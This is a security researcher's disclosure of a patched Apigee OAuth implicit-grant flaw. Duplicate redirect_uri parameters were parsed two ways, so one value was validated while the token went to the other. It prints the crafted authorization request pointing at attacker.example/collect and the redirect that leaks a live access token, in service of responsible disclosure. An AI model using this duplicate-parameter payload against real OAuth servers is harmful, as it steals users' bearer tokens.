Research details · Patched
- Product
- Google Cloud Apigee
- Affected versions
- Tested runtime: 1-17-0-apigee-6
- Patch status
- Patched
- Bounty
- USD 5,000
- Reported
- Apr 12, 2026
- Series
- Apigee OAuth Research
In OAuth, a redirect URI is a security boundary: it names the destination an authorization server has agreed to trust with a credential.
That distinction is especially sharp in the implicit grant. There is no authorization code to exchange on a protected back channel. After the user authorizes the client, the server redirects the browser to the registered callback and places the access token in the URL fragment. JavaScript at that destination can read the fragment and take the token from there.
So the callback check is the last gate before a live bearer token leaves the authorization server. While tracing Apigee's implementation of that gate, I found the same redirect_uri taking two different paths through one request. One value passed validation. Another value later received the token.
How Apigee returns an implicit token
Apigee is an API gateway. A customer exposes an endpoint as an API proxy and attaches policies that run while Apigee processes the request. The OAuthV2 policy can make that proxy act as an OAuth authorization server: it can generate authorization codes and access tokens, refresh tokens, or verify a token before allowing an API call through.
For the implicit flow, a proxy uses the GenerateAccessTokenImplicitGrant operation. The JWT variant uses GenerateJWTAccessTokenImplicitGrant, but the browser-facing shape is the same. With response generation enabled, Apigee returns a 302 redirect whose Location points to the requested callback with the new access token in its fragment:
HTTP/1.1 302 Found
Location: https://client.example/callback#access_token=...&expires_in=1799The client is a developer app registered in Apigee. That record may contain a callback URL. The authorization request supplies a redirect_uri, and Apigee is supposed to compare it with the app's callback before issuing the redirect. A proxy author tells the policy where to obtain the request value through <RedirectUri>:
<OAuthV2 name="Generate-Implicit-Token">
<Operation>GenerateAccessTokenImplicitGrant</Operation>
<RedirectUri>request.queryparam.redirect_uri</RedirectUri>
<GenerateResponse enabled="true"/>
</OAuthV2>Here request.queryparam.redirect_uri is a flow variable. This configuration looks ordinary: read the callback from the query string, validate it, then use it for the redirect.
The interesting question is what the callback means when the query contains the parameter twice.
The first callback passed validation
OAuth authorization requests must not include a parameter more than once. Attackers do not have to respect that rule, though, and duplicate-parameter handling is exactly where two otherwise reasonable parsers can disagree.
I sent an authorization request with two callbacks. The first was registered to the test app. The second was under attacker control:
/authorize
?response_type=token
&client_id=CLIENT_ID
&redirect_uri=https://registered.example/callback
&redirect_uri=https://attacker.example/collect
&scope=openid
&state=STATEThe policy's configured flow variable went through Apigee's HTTP message abstraction. Asking for a query parameter without an explicit position selected occurrence one:
public String getQueryParam(String name) {
return getQueryParam(name, 1);
}
public String getQueryParam(String name, int index) {
return getRequestURI().getValue(name, index - 1);
}The public API numbers occurrences from one, while RequestURI uses a zero-based index. Resolving request.queryparam.redirect_uri therefore produced the first callback in the request: https://registered.example/callback.
That value was copied into the OAuth client context. Later, OAuthServiceImpl retrieved it and passed it to callback validation:
String redirectURIInRequest = clientContext.getRedirectrURI();
// Client lookup and other checks omitted.
validateRedirectURI(
redirectURIInRequest,
clientAttributes,
clientContext.isEnforceStrictCallbackURIEnforced());This was not an absent or disabled security check. The registered URI really was compared, and it passed. If the rest of the operation had continued to use redirectURIInRequest, the duplicate parameter would not have moved the token anywhere interesting.
But the request had already produced another representation of the query string.
The response parsed the query again
Both implicit-grant implementations also passed the raw query through getParametersAsMap(). Unlike the flow-variable path, this parser did not preserve multiple values. It inserted every pair into a HashMap under the decoded parameter name:
public static Map<String, String> getParametersAsMap(String parameterString) {
Map<String, String> splitParameters = new HashMap<>();
for (String parameter : parameterString.split("&")) {
String[] parts = parameter.split("=", 2);
OAuth.Parameter entry = new OAuth.Parameter(
OAuth.decodePercent(parts[0]),
OAuth.decodePercent(parts[1]));
splitParameters.put(entry.getKey(), entry.getValue());
}
return splitParameters;
}Map.put() replaces the previous entry when a key already exists. For the same crafted request, this path kept the last callback: https://attacker.example/collect.
At that point Apigee had two values with the same name but different histories:
- Request contains two
redirect_uriparameters - Apigee reads the request through two paths
- CheckedFlow variable selects the first value
- Registered callback passes validation
- UsedRaw-query map keeps the last value
- Attacker callback remains in the map
- Checked
The split only became exploitable because response generation returned to the second path. After issuing an opaque token, ImplicitGrantAccessTokenExecution called post-processing with queryParameters.get("redirect_uri") rather than the value already stored and validated in the client context:
populateOauthServiceContext(clientContext, queryParameters, messageContext);
result = oAuthService.generateAccessTokenForImplicitGrant(
oAuthServiceContext, clientContext, debugContext);
executePostOAuthProcessing(
messageContext, executionContext, result,
isRFCCompliant.booleanValue(), queryParameters.get("redirect_uri"));The JWT implicit operation made the same choice. The shared response builder then added the token fields as a fragment to whichever URI it received and wrote that URI to the Location header:
if (redirectURI != null) {
String modifiedRedirectURI = URIUtil.addFragment(redirectURI, responseParams);
responseMessage.setHeader("Location", modifiedRedirectURI);
}Validation and use were no longer operating on the same data. Apigee had approved the first callback, generated a token, and handed the second callback to the browser.
Watching the token leave through the other door
I reproduced the behavior on managed runtime 1-17-0-apigee-6 with separate proxies for opaque and JWT implicit tokens. The developer app had only the legitimate callback registered, and strict callback URI validation was enabled.
With the registered URI first and the attacker URI second, the opaque flow returned a redirect shaped like this:
HTTP/1.1 302 Found
Location: https://attacker.example/collect#access_token=LIVE_TOKEN&expires_in=...The value in the fragment was a working access token issued for the victim's authorization. The JWT operation behaved the same way, except the stolen credential was a signed JWT.
Then I reversed the two callback values. Apigee rejected the request as an invalid redirect_uri. That control was the part I cared about most: it showed that strict matching was active and confirmed which duplicate the policy had checked. The successful case did not weaken or bypass the comparison itself. It arranged for the response builder to stop using its result.
An attacker still needed a deployment using one of the affected implicit operations, automatic response generation, and a <RedirectUri> sourced from a request query variable like the one above. A victim also had to open the crafted authorization request and complete the deployment's normal login or consent flow, unless an existing session made that interaction silent. The resulting token carried only the scopes and authority the authorization server actually granted.
Those conditions matter, but they do not turn this into the familiar warning that implicit tokens appear in browsers. The browser was expected to receive the token. The unregistered origin was not.
Once the reverse-order control confirmed the parser disagreement, I reported the issue.
Conclusion
What I like about this bug is how little any one line had to do wrong. A flow variable returned the first query value. A HashMap kept the last. Callback validation worked. Token generation worked. Response construction worked. The vulnerability existed in the handoff between them, where “the redirect URI” quietly stopped meaning the value that had passed the security check.
Modern OAuth guidance discourages the implicit grant, which makes it tempting to wave away any finding near it. The known tradeoff is that a browser receives a bearer token. Sending that token to an arbitrary origin after validating a different one is a separate failure.
Whenever a system validates a URI, identity, filename, or token and later rebuilds it from raw input, I now look for this exact split. A check does not protect a field name. It protects one concrete value, parsed one particular way. If that value does not travel forward, neither does the trust attached to it.